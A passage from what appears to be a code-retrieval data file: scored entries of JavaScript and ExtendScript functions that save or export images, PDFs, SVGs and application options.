saveBounds.minX,\n top: saveBounds.minY,\n width: saveBounds.maxX-saveBounds.minX,\n height: saveBounds.maxY-saveBounds.minY,\n };\n\n saveSvgAsPng(document.getElementById(\"thesvg\"), \"graph.png\", saveOptions);\n}", "title": "" }, { "docid": "2a50738064841787a8608f34b2e56b6a", "score": "0.44976366", "text": "function toPNG(id,output_name ) {\n var options = {};\n options.backgroundColor = '#ffffff';\n options.selectorRemap = function(s) { return s.replace(/\\.dc-chart/g, ''); };\n var chart = document.getElementById(id).getElementsByTagName('svg')[0];\n saveSvgAsPng(chart, output_name+'.png', options)\n\n }", "title": "" }, { "docid": "916ed4b2d093d606fa02312bfb4eb393", "score": "0.44948947", "text": "function saveK_JPG(saveFilejpg, jpegQuality){\n var saveFilejpg = File( CurrentPath + \"/\" + docName + \"_K.jpg\");\n var jpgOpts = new JPEGSaveOptions(); \n jpgOpts.embedColorProfile = true; \n jpgOpts.formatOptions = FormatOptions.STANDARDBASELINE; \n jpgOpts.matte = MatteType.NONE; \n jpgOpts.quality = 12; \n activeDocument.saveAs(saveFilejpg, jpgOpts, true,Extension.LOWERCASE); \n}", "title": "" }, { "docid": "e66d30b88391382dc36015cb7b6d21bb", "score": "0.44826543", "text": "function drawSingleImageGUI(exportOptions) {\n w.tabGroup.singleTab = w.tabGroup.add('tab', undefined, 'Files Export');\n\n // Export Mode\n w.tabGroup.singleTab.exportModePanel = w.tabGroup.singleTab.add('panel', undefined, \"Export Mode\");\n\n // Export Mode Preferences\n w.tabGroup.singleTab.exportModePanel.exportModeGroup = w.tabGroup.singleTab.exportModePanel.add('group');\n\n w.tabGroup.singleTab.exportModePanel.exportModeGroup.add('StaticText', [0, 0, 70, 20], 'Type:');\n w.tabGroup.singleTab.ddTypeIndex = w.tabGroup.singleTab.exportModePanel.exportModeGroup.add(\"dropdownlist\", [0, 0, 330, 20], ['Layers', 'Groups']);\n w.tabGroup.singleTab.ddTypeIndex.items[exportOptions.exportType].selected = true;\n\n // Export Type\n w.tabGroup.singleTab.exportTypePanel = w.tabGroup.singleTab.add('panel', undefined, \"File Setting\");\n\n // Export Type Preferences\n w.tabGroup.singleTab.exportTypePanel.exportTypeGroup = w.tabGroup.singleTab.exportTypePanel.add('group');\n\n w.tabGroup.singleTab.exportTypePanel.exportTypeGroup.add('StaticText', [0, 0, 70, 20], 'Format:');\n w.tabGroup.singleTab.exportTypePanel.exportTypeGroup.ddFileType = w.tabGroup.singleTab.exportTypePanel.exportTypeGroup.add(\"dropdownlist\", [0, 0, 330, 20], ['JPEG', 'PNG']);\n w.tabGroup.singleTab.exportTypePanel.exportTypeGroup.ddFileType.onChange = function () {\n hideAllFileTypePanel(w);\n switch (this.selection.index) {\n case jpegIndex:\n w.tabGroup.singleTab.optionsPanel.text = 'JPEG Options';\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.show();\n break;\n case pngIndex:\n w.tabGroup.singleTab.optionsPanel.text = 'PNG Options';\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.show();\n break;\n }\n }\n\n // Options Panel\n w.tabGroup.singleTab.optionsPanel = w.tabGroup.singleTab.add('panel', undefined, \"Options\");\n w.tabGroup.singleTab.optionsPanel.orientation = 'stack';\n w.tabGroup.singleTab.optionsPanel.alignment = 'fill';\n w.tabGroup.singleTab.optionsPanel.alignChildren = 'fill';\n\n // PNG Options\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup = w.tabGroup.singleTab.optionsPanel.add('group');\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.orientation = 'column';\n\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.visibleOnly = w.tabGroup.singleTab.optionsPanel.pngOptionGroup.add(\"checkbox\", [50, 0, 300, 20], \"Visible Layer/Group Only\");\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.visibleOnly.value = exportOptions.visibleOnly;\n\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.pngTransparency = w.tabGroup.singleTab.optionsPanel.pngOptionGroup.add(\"checkbox\", [50, 0, 300, 20], \"Transparency\");\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.pngTransparency.value = exportOptions.pngTransparency;\n\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.pngInterlaced = w.tabGroup.singleTab.optionsPanel.pngOptionGroup.add(\"checkbox\", [50, 0, 300, 20], \"Interlaced\");\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.pngInterlaced.value = exportOptions.pngInterlaced;\n\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.pngTrim = w.tabGroup.singleTab.optionsPanel.pngOptionGroup.add(\"checkbox\", [50, 0, 300, 20], \"Trim\");\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.pngTrim.value = exportOptions.pngTrim;\n\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.png8 = w.tabGroup.singleTab.optionsPanel.pngOptionGroup.add(\"checkbox\", [50, 0, 300, 20], \"PNG-8\");\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.png8.value = exportOptions.png8;\n\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.icc = w.tabGroup.singleTab.optionsPanel.pngOptionGroup.add(\"checkbox\", [50, 0, 300, 20], \"Embed Color Profile\");\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.icc.value = exportOptions.icc;\n\n w.tabGroup.singleTab.optionsPanel.pngOptionGroup.visible = (exportOptions.fileType == pngIndex);\n\n // JPEG Options\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup = w.tabGroup.singleTab.optionsPanel.add('group');\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.orientation = 'column';\n\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.visibleOnly = w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.add(\"checkbox\", [50, 0, 300, 20], \"Visible Layer/Group Only\");\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.visibleOnly.value = exportOptions.visibleOnly;\n\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.icc = w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.add(\"checkbox\", [50, 0, 300, 20], \"Embed Color Profile\");\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.icc.value = exportOptions.icc;\n\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup = w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.add('group');\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.jpegQualityLabel = w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.add(\"statictext\", [0, 0, 70, 20], 'Image Quality:');\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.jpegQuality = w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.add('slider', undefined, exportOptions.jpegQuality, 0, 12);\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.jpegQuality.preferredSize = [300, -1];\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.jpegQualityText = w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.add(\"statictext\", [0, 0, 20, 20], exportOptions.jpegQuality.toString());\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.jpegQuality.onChanging = function () {\n this.value = Math.round(this.value);\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.jpegQualityGroup.jpegQualityText.text = this.value;\n }\n\n w.tabGroup.singleTab.optionsPanel.jpegOptionGroup.visible = (exportOptions.fileType == jpegIndex);\n\n w.tabGroup.singleTab.exportTypePanel.exportTypeGroup.ddFileType.items[exportOptions.fileType].selected = true;\n}", "title": "" }, { "docid": "7cec482a8ccd648b786762831c53ed27", "score": "0.44661108", "text": "function saveCanvasToPNG(canvas) {\n var img = Canvas2Image.saveAsPNG(canvas, true);\n var imgUrl = img.src;\n self.options.pages.push({src:imgUrl});\n if(self.options.pages.length == numPages)\n self.continueXmlSuccess(xml);\n// img.style.left = '0px';\n// img.style.display = 'block';\n// img.style.width = '50%';\n// document.getElementById(\"img\").appendChild(img);\n }", "title": "" }, { "docid": "5ebc45c5da9a1e0e903ecd81791d6a68", "score": "0.44606447", "text": "function run(options, cb) {\n console.log(\"-- opening file \"+options.file);\n fs.createReadStream(options.file).on(\"error\", function (err) {\n console.error(\"#error: \"+err);\n }).pipe(new PNG({\n \"filterType\": 4\n })).on(\"parsed\", function () {\n console.log(\"-- processing...\");\n var ppng = PPng.create(this, options.ratio);\n processPPng(ppng, options, cb);\n });\n}", "title": "" }, { "docid": "794d06c58235c33564d6ebe7216df5fd", "score": "0.44463217", "text": "function save_options() {\n for (var i = 0; i<4; i++){\n save_url(i+1);\n }\n // Build the preview here\n build_links();\n}", "title": "" }, { "docid": "fe061e01e87bfbb07f591d4baeeeb7b3", "score": "0.4420939", "text": "function save_options() {\n var api_key = $(\"#picnik_api_key\").val();\n var _export = $(\"#export\").val();\n var img_type = $(\"input[name='image_type']:checked\").val();\n var quality = $(\"#quality\").val();\n \n var err = '';\n if(!api_key){\n err += '<li>PicnMonkey API Key required.</li>';\n }\n if(!_export){\n err += '<li>callback URL required.</li>';\n } else if(! _export.match(\"^(http://)|(https://)\")){\n err += '<li>plase input url callback URL from http:// or https://</li>';\n }\n if(!img_type){\n err += '<li>image type required.</li>';\n }\n if(img_type == 'jpg' && ! quality){\n err += '<li>image quality required.</li>';\n }\n\n if(err){\n $(\"#success\").hide();\n $(\"#err\").html(\"Error!! <ul>\" + err + \"</ul>\").hide().fadeIn();\n return false;\n }\n\n localStorage.picwp_api_key = api_key;\n localStorage.picwp_export = _export;\n localStorage.picwp_img_type = img_type;\n localStorage.picwp_quality = quality;\n $(\"#err\").hide();\n $(\"#success\").html(\"saved\").hide().fadeIn();\n}", "title": "" }, { "docid": "c3db8f0417c9c99be836e959a4fc344c", "score": "0.44208655", "text": "function createSingleImage(exportOptions) {\n try {\n var duppedDoc = app.activeDocument.duplicate();\n app.activeDocument = duppedDoc;\n\n if (exportOptions.exportType == 1)\n exportGroupRecursively(exportOptions, duppedDoc, currentDoc, duppedDoc);\n else\n exportLayerRecursively(exportOptions, duppedDoc, currentDoc, duppedDoc);\n\n duppedDoc.close(SaveOptions.DONOTSAVECHANGES);\n app.activeDocument = currentDoc;\n } catch (ex) {\n alert(\"An error occured, please submit a bug report. Error: \" + ex);\n }\n}", "title": "" }, { "docid": "f9edc26b1d991386e55453c5c244ec24", "score": "0.438086", "text": "saveImageClicked() {\n const svgString = this.imageManager.getSVGString(this.relatedPlot);\n this.imageManager.svgString2Image(\n svgString,\n this.relatedPlot.getBoundingClientRect().width,\n this.relatedPlot.getBoundingClientRect().height,\n 'png',\n (dataBlob, fileSize) => {\n saveAs(dataBlob, 'test.png');\n });\n }", "title": "" }, { "docid": "466a51b150706a5515ae48f13b35b424", "score": "0.43663177", "text": "function saveDisplayAttributes(){\n //Spits out the information for the cropping in Python\n console.log(imgNames[selectedChild]);\n sendCroppingInfoToPhp();\n\n\n leaveCroppingMode();\n}", "title": "" }, { "docid": "4e5a82a4b6838ce2280280c33dac3341", "score": "0.43569732", "text": "function savePdf( doc, fileName, options, artboardIndex, artboardName ) {\n var destFile = new File( fileName + '.pdf' ); \n //options.artboardRange = (artboardIndex+1).toString();\n app.saveAs( fileName, options )\n }", "title": "" }, { "docid": "e581c940dfe503f66446507c6d96a951", "score": "0.4356336", "text": "async generateOptions() {\n return\n }", "title": "" }, { "docid": "1185ba0a86e68f18113d1eeb5d1a66b0", "score": "0.4340766", "text": "function saveAsEPS (myFile) {\r\tvar path = c_outbox + myFile.name;\r\tvar newFile = new File(path);\r\tvar saveOpts = new EPSSaveOptions();\r\tsaveOpts.cmykPostScript = true;\r\tsaveOpts.embedAllFonts = true;\r\tmyFile.saveAs( newFile, saveOpts );\r}", "title": "" }, { "docid": "8ebe5dfe4d7f03f9bda1ed566d4cbb18", "score": "0.43310013", "text": "getAgPSDCompatibleJSON(){\n\t\tconst imgData=this.rawImageData; // contents not saved here, only for dimensions\n\t\tconst prop=this.properties;\n\t\tconst vA=imgData.validArea;\n\n\t\tif(prop.blendMode==BasicRenderer.MASK||prop.blendMode==BasicRenderer.MASKB){\n\t\t\tif(prop.clipMask&&!this.children.length){\n\t\t\t\treturn { // a mask layer in PS\n\t\t\t\t\t\"isMask\": true,\n\t\t\t\t\t\"top\": vA.top,\n\t\t\t\t\t\"left\": vA.left,\n\t\t\t\t\t\"positionRelativeToLayer\": false,\n\t\t\t\t\t\"disabled\": !prop.visible,\n\t\t\t\t\t\"defaultColor\": prop.blendMode==BasicRenderer.MASK?255:0 // white or black\n\t\t\t\t};\n\t\t\t}\n\t\t\telse{ // send a report first\n\t\t\t\tFILES.saveAsPSD.reports.push({ // add a report\n\t\t\t\t\tcontent: this.getName()+Lang(\"save-psdmask-report\"),\n\t\t\t\t\ttarget: this.id\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\n\t\tif(prop.clipMask&&this.children.length){ // group with clipmask\n\t\t\tFILES.saveAsPSD.reports.push({ // add a report\n\t\t\t\tcontent: this.getName()+Lang(\"save-clipgroup-report\"),\n\t\t\t\ttarget: this.id\n\t\t\t});\n\t\t}\n\n\t\treturn {\n\t\t\t\"top\": vA.top,\n\t\t\t\"left\": vA.left,\n\t\t\t\"blendMode\": BasicRenderer.blendModeEnumToName(prop.blendMode),\n\t\t\t\"opacity\": Math.round(prop.opacity*255),\n\t\t\t\"transparencyProtected\": prop.locked,\n\t\t\t\"protected\": { // problematic! maybe ag-psd?\n\t\t\t\t\"transparency\": prop.pixelOpacityLocked,\n\t\t\t\t\"position\": prop.pixelOpacityLocked,\n\t\t\t\t\"composite\": prop.locked\n\t\t\t},\n\t\t\t\"hidden\": !prop.visible,\n\t\t\t\"clipping\": prop.clipMask,\n\t\t\t\"name\": this.getName()\n\t\t\t// protected, children ...\n\t\t};\n\t}", "title": "" }, { "docid": "b377658a9d6e4292ec77dd1e117ee056", "score": "0.43207335", "text": "function saveOptions()\n{\n\tvar prefs = storage_data.resolve('prefs.js');\n\tvar fstream = prefs.open(null, 'w');\n\n\tfor (var opt in options)\n\t{\n\t\t// Arrays are written as comma seperated strings\n\t\tswitch(options[opt].type)\n\t\t{\n\t\t\tcase 'array':\n\t\t\t\tif(options[opt].value.length>0)\n\t\t\t\t\tfstream.writeLine(opt + '=' + options[opt].value.join());\n\t\t\t\telse\n\t\t\t\t\tfstream.writeLine(opt + '=null');\n\t\t\t\tbreak;\n\t\t\tcase 'int':\n\t\t\tcase 'bool':\n\t\t\tcase 'string':\n\t\t\t\tfstream.writeLine(opt + '=' + options[opt].value);\t\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tfstream.close();\n}", "title": "" }, { "docid": "51f1adadd33cfb5d573f45e54415bcf7", "score": "0.43080935", "text": "function OnSave() {\r\n\tdlg.close();\r\n\tHalfSize = dlg.GenerateHalfRes.value;\r\n\tTrim = dlg.Trim.value;\r\n\tCreateXML = dlg.GenerateXML.value;\r\n\tCreateTextStyles = dlg.GenerateTextStyles.value;\r\n\tPowerOfTwo = dlg.PowerOfTwo.value;\r\n\tCreateCSV = dlg.FlashInfo.value;\r\n\tCreateTextCSV = dlg.FlashInfo.value;\r\n\tRemoveCopy = dlg.RemoveCopy.value;\r\n\t//MergeGroups = dlg.MergeGroups.value;\r\n\r\n\tfileNameEXT = app.activeDocument.name;\r\n\tfileName = fileNameEXT.substr(0, fileNameEXT.length - 4);\r\n\tfilePath = app.activeDocument.path + \"/\" + fileName + \".xml\";\r\n\tfilePathCSV = app.activeDocument.path + \"/\" + fileName + \".csv\";\r\n\tfilePathTextCSV = app.activeDocument.path + \"/\" + fileName + \"_text.csv\";\r\n\tfilePathTextStyles = app.activeDocument.path + \"/\" + fileName + \"_text_styles.txt\";\r\n\t//filePath += dlg.OutPutFileName.text;\r\n\t\r\n\tapp.activeDocument.selection.deselect();\r\n\tlayers = app.activeDocument.layers;\r\n\t\r\n\tif (RemoveCopy) RenameLayers(layers);\r\n\t\r\n\tapp.activeDocument.save();\r\n\tMergeLayers(layers);\r\n\r\n\tif (CreateXML) GenerateXMLFile(filePath);\r\n\tif (CreateCSV) GenerateCoordinatesCSV(filePathCSV);\r\n\tif (CreateTextCSV) GenerateTextCSV(filePathTextCSV);\r\n\tif (CreateTextStyles) GenerateTextStylesTXT(filePathTextStyles, fileNameEXT);\r\n\t//dlg.close();\r\n\t\r\n\t\r\n\tvar pngFolder = new Folder(app.activeDocument.path + \"/\" + fileName + \"_png\");\r\n\tvar pngFolderHD = new Folder(app.activeDocument.path + \"/\" + fileName + \"_png_HD\");\r\n\tif (!pngFolder.exists && HalfSize) pngFolder.create();\r\n\tif (!pngFolderHD.exists) pngFolderHD.create();\r\n\t\r\n\tSaveAllLayers(fileName, layers);\r\n\t\r\n\t/*for(i = 0; i < app.activeDocument.layers.length; i++) {\r\n\t\tif (app.activeDocument.layers[i].visible && app.activeDocument.layers[i].kind != LayerKind.TEXT) {\r\n\t\t\tif (HalfSize) SaveLayer(app.activeDocument.layers[i], app.activeDocument.path + \"/\" + fileName + \"_png\", true);\r\n\t\t\tSaveLayer(app.activeDocument.layers[i], app.activeDocument.path + \"/\" + fileName + \"_png_HD\", false);\t\r\n\t\t}\r\n\t}*/\r\n\t\r\n\t//alert(\"files saved\");\r\n\t//dlg.close();\r\n\texecuteAction(app.charIDToTypeID(\"Rvrt\"), new ActionDescriptor(), DialogModes.NO);\r\n\tapp.activeDocument.save();\r\n\talert(\"Saving layers to files was successful.\");\r\n}", "title": "" }, { "docid": "c230419fc1314267fe97f22c576fe211", "score": "0.43078297", "text": "function getOptions() {\n options = {};\n\n //mandatory options\n options.direction = horizontal ? 'horizontal' : 'vertical';\n options.sizes = getPanelSizes();\n options.minSize = getMinimumSizes();\n options.gutterSize = parseInt(scope.gutterSize) || 10;\n\n //optional options\n if (scope.snapOffset) options.snapOffset = parseInt(scope.snapOffset);\n if (scope.onDrag) options.onDrag = scope.onDrag;\n if (scope.onDragStart) options.onDragStart = scope.onDragStart;\n if (scope.onDragEnd) options.onDragEnd = scope.onDragEnd;\n\n return options;\n }", "title": "" }, { "docid": "ebcd32a569b5111dfcb2c62eb70ff5e0", "score": "0.43005866", "text": "async _applyOptions() {\n const img = this._getImg();\n if (!['image/jpeg', 'image/png'].includes(img.dataset.mimetype)) {\n this.originalId = null;\n return;\n }\n const dataURL = await applyModifications(img);\n const weight = dataURL.split(',')[1].length / 4 * 3;\n const $weight = this.$el.find('.o_we_image_weight');\n $weight.find('> small').text(_t(\"New size\"));\n $weight.find('b').text(`${(weight / 1024).toFixed(1)} kb`);\n $weight.removeClass('d-none');\n img.classList.add('o_modified_image_to_save');\n const loadedImg = await loadImage(dataURL, img);\n this._applyImage(loadedImg);\n return loadedImg;\n }", "title": "" }, { "docid": "f4d2731a7094bb181e3dea5acdac4a12", "score": "0.42911413", "text": "setOptions(chartOptions) {\n if (typeof chartOptions == 'undefined' || chartOptions == null) {\n return;\n }\n\n var options = [\n 'overlap',\n 'noOfPieSlices',\n 'chartClientId',\n 'drillMap',\n 'zoomLevel',\n 'gaugeConfiguration',\n 'margin',\n 'chartType',\n 'defaultColors',\n 'axisRedrawThreshold',\n 'targetDragEnd',\n 'updateTargetSentiment',\n 'deleteTarget',\n 'showMedian',\n 'tooltip',\n 'brush',\n 'seriesLabel',\n 'chartHost'\n ];\n\n options.forEach(function (opt) {\n var config = chartOptions[opt];\n if (typeof config !== 'undefined' && config !== null && config !== \"\") {\n this.chartOptions[opt] = config;\n }\n }.bind(this));\n\n //set true for panning grouped column\n // if (typeof chartOptions.panning !== 'undefined' && chartOptions.panning !== \"\" && chartOptions.panning !== null)\n // this.chartOptions.panning = chartOptions.panning;\n }", "title": "" }, { "docid": "49d9114400b0ffbb7b721927ba26a893", "score": "0.4266442", "text": "function saveToImage() {\n\n}", "title": "" }, { "docid": "28aa66c80fca30484ebb9e2ae66f42c5", "score": "0.42445338", "text": "function set_options(options){\n main_levels = options.main_batch.levels;\n main_conf = options.main_batch.conf;\n custom_batches = options.custom_batches;\n \n render_options();\n }", "title": "" }, { "docid": "e0797be510435dd44712ef7c6b5a5b88", "score": "0.42388764", "text": "function save() {\n\tvar canvas = $g(\"2d-canvas\");\n\tvar img = canvas.toDataURL(\"image/png\");\n\twindow.open(img, \"Output\", \"resizable=0, location=0, width=\" + (canvas.width + 50) + \", height=\" + (canvas.height + 50));\n}", "title": "" }, { "docid": "4af43c68fbf30bbb5d0e6525b274d5b0", "score": "0.42213932", "text": "function saveOptions() {\n var rows = document.getElementById('rows');\n virtualdesktops.settings.setRows(parseInt(rows.value, 10));\n rows.value = virtualdesktops.settings.getRows();\n\n var columns = document.getElementById('columns');\n virtualdesktops.settings.setColumns(parseInt(columns.value, 10));\n columns.value = virtualdesktops.settings.getColumns();\n\n var groupBy = document.getElementById('group-by');\n virtualdesktops.settings.setGroupBy(groupBy.value);\n groupBy.value = virtualdesktops.settings.getGroupBy();\n\n var desktops = document.getElementById('desktops');\n virtualdesktops.settings.setDesktops(parseInt(desktops.value, 10));\n desktops.value = virtualdesktops.settings.getDesktops();\n\n // Show a status message for a short period of time, then remove it again.\n var status = document.getElementById('status');\n status.textContent = 'Options Saved.';\n setTimeout(function() {\n status.textContent = '';\n }, 750);\n}", "title": "" }, { "docid": "98648878ad80ab52aa4f03c49d5bce89", "score": "0.4216635", "text": "setOptions(options) {\n this.segmentKey = options.segmentKey;\n this.percent = options.percent;\n this.iterKey = options.iterKey;\n this.marginPercent = options.marginPercent;\n this.id = options.id || false;\n this.x = this.Canvas.settings.borderWidth + this.segmentKey * this.Canvas.settings.oneXSegment;\n\n let lastYPercent = 100 - this.marginPercent;\n let currentYPercent = lastYPercent - this.percent;\n\n if (currentYPercent < 0) {\n if (lastYPercent >= 0) {\n currentYPercent = 0;\n this.percent = lastYPercent;\n } else {\n this.percent = 0;\n }\n }\n\n this.y = this.Canvas.settings.borderWidth + currentYPercent * this.Canvas.settings.oneYSegment;\n this.setColor();\n }", "title": "" }, { "docid": "a7ef31ba01cb0aa280949cac5eeb3af2", "score": "0.42148575", "text": "function pngExport()\n{\n\tvar scale = prompt( \"Enter an upscale factor.\", 1 );\n\tvar props = {\n\t\twidth: schedule.clientWidth*scale,\n\t\theight: schedule.clientHeight*scale,\n\t\tstyle: {\n\t\t'transform': 'scale('+scale+')',\n\t\t'transform-origin': 'top left'\n\t\t},\n\t\tbgcolor: \"rgb(225, 225, 225)\"\n\t}\n\tdomtoimage.toJpeg( schedule, props )\n .then (function (/*blob*/dataUrl) {\n // window.saveAs( blob, \"schedule.png\" );\n // var img = new Image();\n // img.src = dataUrl;\n // document.body.appendChild( img );\n var link = document.createElement( 'a' );\n link.download = \"schedule.png\";\n link.href = dataUrl;\n link.click();\n })\n .catch(function (error) {\n console.error('Failed to export to png.', error);\n alert( \"Failed to export to png.\" );\n });\n}", "title": "" }, { "docid": "eb7a9de1354e6781aeef5fadb5639d26", "score": "0.42137092", "text": "function saveChartImage(link, canvasID, filename) {\n \"use strict\";\n link.href = document.getElementById(\"chartCanvas\").toDataURL(\"image/png\");\n link.download = filename;\n }", "title": "" }, { "docid": "3cd798cfa7f95ce2be532ba92858ace3", "score": "0.42082664", "text": "static generateDefaultImageOptions(backendLocation) {\n \tconst reference = new ImageUploadOption(backendLocation, 'image/png,image/jpeg', 100000, false);\n\n \treturn reference; \n }", "title": "" }, { "docid": "729e93fe20f736eee024f8c31e525629", "score": "0.42074716", "text": "function convert2png(pdf, target){\r\n // pdf to png\r\n var f = getFileNameWithoutExt(pdf);\r\n\r\n cmd = 'convert ' + pdf + ' ' + target + '/' + f + '-%03d.png';\r\n exec(cmd, function callback(error, stdout, stderr) {\r\n if(error == null){\r\n uploadFiles(target);\r\n } else {\r\n console.log('convert to png error');\r\n console.log(error);\r\n process.exit(-1); // convert error\r\n }\r\n });\r\n}", "title": "" }, { "docid": "580a172eae237bbc658f60671dd43870", "score": "0.42050678", "text": "function exportCanvas() {\n var imgData = canvas.toDataURL(\"image/jpeg\", 1.0);\n var pdf = new jsPDF('p', 'px', 'letter');\n pdf.addImage(imgData, 'JPEG', 0, 0);\n pdf.save(\"download.pdf\");\n}", "title": "" }, { "docid": "491e64b30f4b62c54716a146719e8289", "score": "0.42048368", "text": "function savePDF(){\n var saveBounds = bounds();\n var pdfwidth = Math.ceil(saveBounds.maxX-saveBounds.minX);\n var pdfheight = Math.ceil(saveBounds.maxY-saveBounds.minY);\n var xoff = -saveBounds.minX;\n var yoff = -saveBounds.minY;\n var layout = \"portrait\";\n\n if (pdfwidth>pdfheight) layout=\"landscape\";\n var thepdf = new jsPDF(layout, \"pt\", [pdfheight, pdfwidth]);\n\n // This produces a PDF which is approx. 33% larger than on screen;\n // changing \"scale\" to 75% broke the offsets and/or width-height, so revisit that later.\n // -- this is because scale is applied before offsets, so the offsets need to be recalculated...\n document.getElementById(\"thefreeproductgraph\").classList.remove(\"shadowed\");\n svg2pdf(document.getElementById(\"thefreeproductgraph\"), thepdf, {\n xOffset: xoff,\n yOffset: yoff,\n scale: 1,\n });\n thepdf.save(\"graph.pdf\");\n document.getElementById(\"thefreeproductgraph\").classList.add(\"shadowed\");\n return 0;\n}", "title": "" }, { "docid": "2ae2056666f25cf7bf0575e426bb2b55", "score": "0.42032573", "text": "function createPDF() {\n var totalPieces = imagePieces.length - 1;\n var doc = new jsPDF({\n unit: 'px',\n format: 'a4',\n });\n imagePieces.forEach(function(img) {\n doc.addImage(img, 'PNG', 0, 0);\n if (totalPieces) {\n doc.addPage();\n }\n totalPieces--;\n });\n doc.save('print.pdf');\n form.width(cache_width);\n form.height(cache_height);\n}", "title": "" }, { "docid": "fcb77d6479f1fcab9f52375a28ba72fd", "score": "0.41966423", "text": "function setPrintOptionInfo(){\n\t\n}", "title": "" }, { "docid": "abbe117e3ccf08a3a0026081b949342d", "score": "0.4186696", "text": "function save_options() {\n var SaveDecoderMemoryLimitInMegabytes = parseInt(document.getElementById('DecoderMemoryLimitInMegabytes').value);\n var SaveDebugOutput = document.getElementById('ShowDebugOutput').checked;\n \n // Before saving verify if SaveDebugOutput was updated\n chrome.storage.local.get('ShowDebugOutput', function(options) {\n var CheckShowDebugOutput = options.ShowDebugOutput;\n chrome.storage.local.set({\n DecoderMemoryLimitInMegabytes: SaveDecoderMemoryLimitInMegabytes,\n ShowDebugOutput: SaveDebugOutput\n }, function() {\n // Update status to let user know options were saved.\n var status = document.getElementById('status');\n status.textContent = 'Options saved.';\n setTimeout(function() {\n status.textContent = '';\n }, 1050);\n });\n if(CheckShowDebugOutput !== undefined && CheckShowDebugOutput !== SaveDebugOutput) {\n chrome.runtime.reload();\n }\n });\n}", "title": "" }, { "docid": "54dd75d441947bb5dceb6e5b73101f3e", "score": "0.4185004", "text": "function exportSVG(ofile, ab, masks, layers, settings) {\n // Illustrator's SVG output contains all objects in a document (it doesn't\n // clip to the current artboard), so we copy artboard objects to a temporary\n // document for export.\n var exportDoc = copyArtboardForImageExport(ab, masks, layers);\n var opts = new ExportOptionsSVG();\n if (!exportDoc) return false;\n\n opts.embedAllFonts = false;\n opts.fontSubsetting = SVGFontSubsetting.None;\n opts.compressed = false;\n opts.documentEncoding = SVGDocumentEncoding.UTF8;\n opts.embedRasterImages = isTrue(settings.svg_embed_images);\n // opts.DTD = SVGDTDVersion.SVG1_1;\n opts.DTD = SVGDTDVersion.SVGTINY1_2;\n opts.cssProperties = SVGCSSPropertyLocation.STYLEATTRIBUTES;\n\n // SVGTINY* DTD variants:\n // * Smaller file size (50% on one test file)\n // * Convert raster/vector effects to external .png images (other DTDs use jpg)\n\n exportDoc.exportFile(new File(ofile), ExportType.SVG, opts);\n doc.activate();\n //exportDoc.pageItems.removeAll();\n exportDoc.close(SaveOptions.DONOTSAVECHANGES);\n return true;\n}", "title": "" }, { "docid": "b7dcbec7bf05f902d36d48dd033fe143", "score": "0.41840515", "text": "save() {\n let pdf = new jsPDF();\n let pickup = '' + document.getElementById('LocationDropdown').value;\n let drop = '' + document.getElementById('TransportDropdown').value;\n let comment = '\\n\\nAdditional comments:\\n' + document.getElementById('comment').value;\n\n let input =\n 'AS sykkelutleie\\n\\nTransport confirmation: \\n \\n' +\n 'Pickup Location: ' +\n pickup +\n '\\nDelivery Location: ' +\n drop +\n '\\n\\nBicycles:';\n for (let x = 0; x < this.bicycles.length; x++) {\n if (this.bicycles[x].checked == true) {\n input += '\\n- Type: ' + this.bicycles[x].BicycleType + ' ID: ' + this.bicycles[x].BicycleID;\n transportService.saveStatus(this.bicycles[x].BicycleID, () => {\n history.push('/warehouse/bicycles');\n });\n }\n }\n\n pdf.text(input + comment, 10, 10);\n pdf.save('Transport_order.pdf');\n }", "title": "" }, { "docid": "9e1670998f9c838fcc5ef6df2c22b54c", "score": "0.41814035", "text": "getOutputPkgFilePath(options) {\n options = this.getOptions(options);\n let pkgFileName = options.outFile;\n if (pkgFileName.toLowerCase().endsWith('.zip')) {\n pkgFileName = pkgFileName.replace('.zip', '.pkg');\n }\n else {\n pkgFileName += '.pkg';\n }\n let outFolderPath = path.resolve(options.outDir);\n let outPkgFilePath = path.join(outFolderPath, pkgFileName);\n return outPkgFilePath;\n }", "title": "" }, { "docid": "110e8ee7efc63a7a1790ea127ba3380e", "score": "0.41776028", "text": "function exportToPNG(graphName, target) {\r\n var plot = $(\"#\"+graphName).data('plot');\r\n var flotCanvas = plot.getCanvas();\r\n var image = flotCanvas.toDataURL();\r\n image = image.replace(\"image/png\", \"image/octet-stream\");\r\n \r\n var downloadAttrSupported = (\"download\" in 